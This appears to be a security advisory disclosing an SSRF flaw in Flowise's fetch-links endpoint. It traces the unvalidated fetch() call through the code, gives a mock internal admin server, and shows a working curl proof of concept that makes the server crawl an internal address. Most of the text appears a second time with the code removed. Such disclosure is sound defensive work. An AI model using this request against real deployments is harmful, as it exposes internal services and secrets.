Summary
A Server-Side Request Forgery (SSRF) vulnerability was discovered in the /api/v1/fetch-links
endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints.
Details
Vulnerability Overview
The fetch-links
feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links.
The issue arises because the feature performs these HTTP requests without validating the user-supplied URL. In particular, when the relativeLinksMethod
parameter is set to webCrawl
or xmlScrape
, the server directly calls the fetch()
function with the provided URL, making it vulnerable to SSRF attacks.
Root Cause
The fetch()
function is called without URL validation or restriction, which enables attackers to redirect the server to internal services.
Taint Flow
• Taint 01: Route Registration
|
const getAllLinks = async (req: Request, res: Response, next: NextFunction) => { |
|
try { |
|
if (typeof req.query === 'undefined' || !req.query.url) { |
|
throw new InternalFlowiseError(StatusCodes.PRECONDITION_FAILED, `Error: fetchLinksController.getAllLinks - url not provided!`) |
|
} |
|
if (typeof req.query === 'undefined' || !req.query.relativeLinksMethod) { |
|
throw new InternalFlowiseError( |
|
StatusCodes.PRECONDITION_FAILED, |
|
`Error: fetchLinksController.getAllLinks - relativeLinksMethod not provided!` |
|
) |
|
} |
|
if (typeof req.query === 'undefined' || !req.query.limit) { |
|
throw new InternalFlowiseError(StatusCodes.PRECONDITION_FAILED, `Error: fetchLinksController.getAllLinks - limit not provided!`) |
|
} |
|
const apiResponse = await fetchLinksService.getAllLinks( |
|
req.query.url as string, |
|
req.query.relativeLinksMethod as string, |
|
req.query.limit as string |
|
) |
• Taint 02: Service
|
const url = decodeURIComponent(requestUrl) |
|
if (!relativeLinksMethod) { |
|
throw new InternalFlowiseError( |
|
StatusCodes.INTERNAL_SERVER_ERROR, |
|
`Please choose a Relative Links Method in Additional Parameters!` |
|
) |
|
} |
|
const limit = parseInt(queryLimit) |
|
if (process.env.DEBUG === 'true') console.info(`Start ${relativeLinksMethod}`) |
|
const links: string[] = relativeLinksMethod === 'webCrawl' ? await webCrawl(url, limit) : await xmlScrape(url, limit) |
|
if (process.env.DEBUG === 'true') console.info(`Finish ${relativeLinksMethod}`) |
• Taint 03: xmlScrape
|
export async function xmlScrape(currentURL: string, limit: number): Promise<string[]> { |
|
let urls: string[] = [] |
|
if (process.env.DEBUG === 'true') console.info(`actively scarping ${currentURL}`) |
|
try { |
|
const resp = await fetch(currentURL) |
PoC
PoC Description
This vulnerability was verified in a local development environment. The Flowise server was running at http://localhost:3000
, and authentication was performed using the Bearer token:
tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q
Upon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as:
/api/users
(User Management)
/api/secrets
(API Keys)
/api/database
(Database Config)
This demonstrated that an attacker could enumerate internal web service structures.
Internal Admin Server (Mock)
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/')
def admin():
return render_template_string("""
<html>
<h1>Internal Admin Panel</h1>
<ul>
<li><a href="/api/users">User Management</a></li>
<li><a href="/api/secrets">API Keys</a></li>
<li><a href="/api/database">Database Config</a></li>
<li><a href="/api/logs">System Logs</a></li>
</ul>
""")
@app.route('/api/users')
def users():
return render_template_string("""
<html>
<h1>Users</h1>
<ul>
<li><a href="/api/users/admin">admin (root)</a></li>
<li><a href="/api/users/operator">operator</a></li>
</ul>
<a href="/">Back</a>
""")
@app.route('/api/secrets')
def secrets():
return render_template_string("""
<html>
<h1>Secrets</h1>
<ul>
<li><a href="/api/secrets/db_key">DB Key: sk-1234567890abcdef</a></li>
<li><a href="/api/secrets/aws_key">AWS Key: AKIAIOSFODNN7EXAMPLE</a></li>
</ul>
<a href="/">Back</a>
""")
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8080)
curl Request Example
curl -G 'http://localhost:3000/api/v1/fetch-links' \
--data-urlencode 'url=http://127.0.0.1:8080/' \
--data-urlencode 'relativeLinksMethod=webCrawl' \
--data-urlencode 'limit=10' \
-H 'Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q' \
-s | jq '.'
Impact
This is a Server-Side Request Forgery (SSRF) vulnerability.
- Who is impacted? Any user running Flowise server exposed to external traffic.
- Risk: Attackers can leverage the Flowise server to:
- Explore internal web applications
- Bypass firewall rules
- Access sensitive administrative interfaces
- Leak internal configuration, credentials, or secrets
This vulnerability significantly increases the risk of internal service enumeration and potential lateral movement in an enterprise environment.
Summary
A Server-Side Request Forgery (SSRF) vulnerability was discovered in the
/api/v1/fetch-links
endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints.Details
Vulnerability Overview
The
fetch-links
feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links.The issue arises because the feature performs these HTTP requests without validating the user-supplied URL. In particular, when the
relativeLinksMethod
parameter is set towebCrawl
orxmlScrape
, the server directly calls thefetch()
function with the provided URL, making it vulnerable to SSRF attacks.Root Cause
The
fetch()
function is called without URL validation or restriction, which enables attackers to redirect the server to internal services.Taint Flow
• Taint 01: Route Registration
Flowise/packages/server/src/controllers/fetch-links/index.ts
Lines 6 to 24 in 5930f11
• Taint 02: Service
Flowise/packages/server/src/services/fetch-links/index.ts
Lines 8 to 18 in 5930f11
• Taint 03: xmlScrape
Flowise/packages/components/src/utils.ts
Lines 474 to 478 in 5930f11
PoC
PoC Description
This vulnerability was verified in a local development environment. The Flowise server was running at
http://localhost:3000
, and authentication was performed using the Bearer token:Upon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as:
/api/users
(User Management)/api/secrets
(API Keys)/api/database
(Database Config)This demonstrated that an attacker could enumerate internal web service structures.
Internal Admin Server (Mock)
curl Request Example
Impact
This is a Server-Side Request Forgery (SSRF) vulnerability.
This vulnerability significantly increases the risk of internal service enumeration and potential lateral movement in an enterprise environment.